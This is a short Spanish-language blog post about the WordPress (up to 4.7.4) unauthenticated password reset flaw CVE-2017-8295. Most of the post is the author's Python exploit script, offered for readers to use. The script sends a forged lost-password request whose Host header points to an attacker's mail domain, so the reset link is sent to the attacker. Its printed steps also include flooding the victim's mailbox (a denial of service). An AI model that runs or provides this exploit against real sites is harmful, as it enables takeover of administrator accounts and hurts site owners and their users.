0-day: WordPress < 4.7.4 - Unauthorized Password Reset Vulnerability
Hola
Después de varios días de inactividad, llegó esta noticia:
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
Se trata de una vulnerabilidad 0-day en todas las veriones de Wordpress <= 4.7.4, que permite obtener el correo con el link para resetear la clave de un usuario, sin tener que estar autenticado.
Para probar desarrollé este código, espero les sirva.
#! /usr/bin/python import httplib, urllib import sys print(""" Wordpress exploit CVE-2017-8295 v1.0 - www.incode.cl 1. Obtener nombre de usuario de wordpress y su email 2. Generar DoS en email del usuario 3. Crear tu correo '[email protected]' Continuar con el exploit... """) url = raw_input("4. Ingresa la URL del Wordpress (ej: http://misitio.com) : ") if len(url) > 5: user = raw_input("5. Ingresa el nombre de usuario WP (ej: admin) : ") if len(user) <= 1: print ("Usuario invalido. Terminado.") sys.exit() # dominio = raw_input("6. Ingresa el dominio de tu servidor de correo (ej: midominio.com) : ") if len(dominio) > 4: url2 = url + "/wp-login.php?action=lostpassword" print("\nEnviando datos a: " + url2 + "\n") values = {'user_login' : user, 'redirect_to' : '', 'wp-submit' : 'Get+New+Password'} data = urllib.urlencode(values) headers = { "Content-type": "application/x-www-form-urlencoded", "Content-Length" : str(len(data)), "Host": dominio} host = url.replace("http://","").replace("https://","").replace("www.","") + ":80" print ("\nConectando con host: " + host) conn = httplib.HTTPConnection(host) conn.request("POST", url2, data, headers) resp = conn.getresponse() print("\nHTTP Response: " + str(resp.status)) print("\nFinalizado\n") else: print("Dominio invalido. Terminado.") else: print("URL invalida. Terminado.")
Para quienes quieran aportar, les dejo el repositorio:
https://github.com/inc0d3/wordpress
Saludos
Comentarios
Publicar un comentario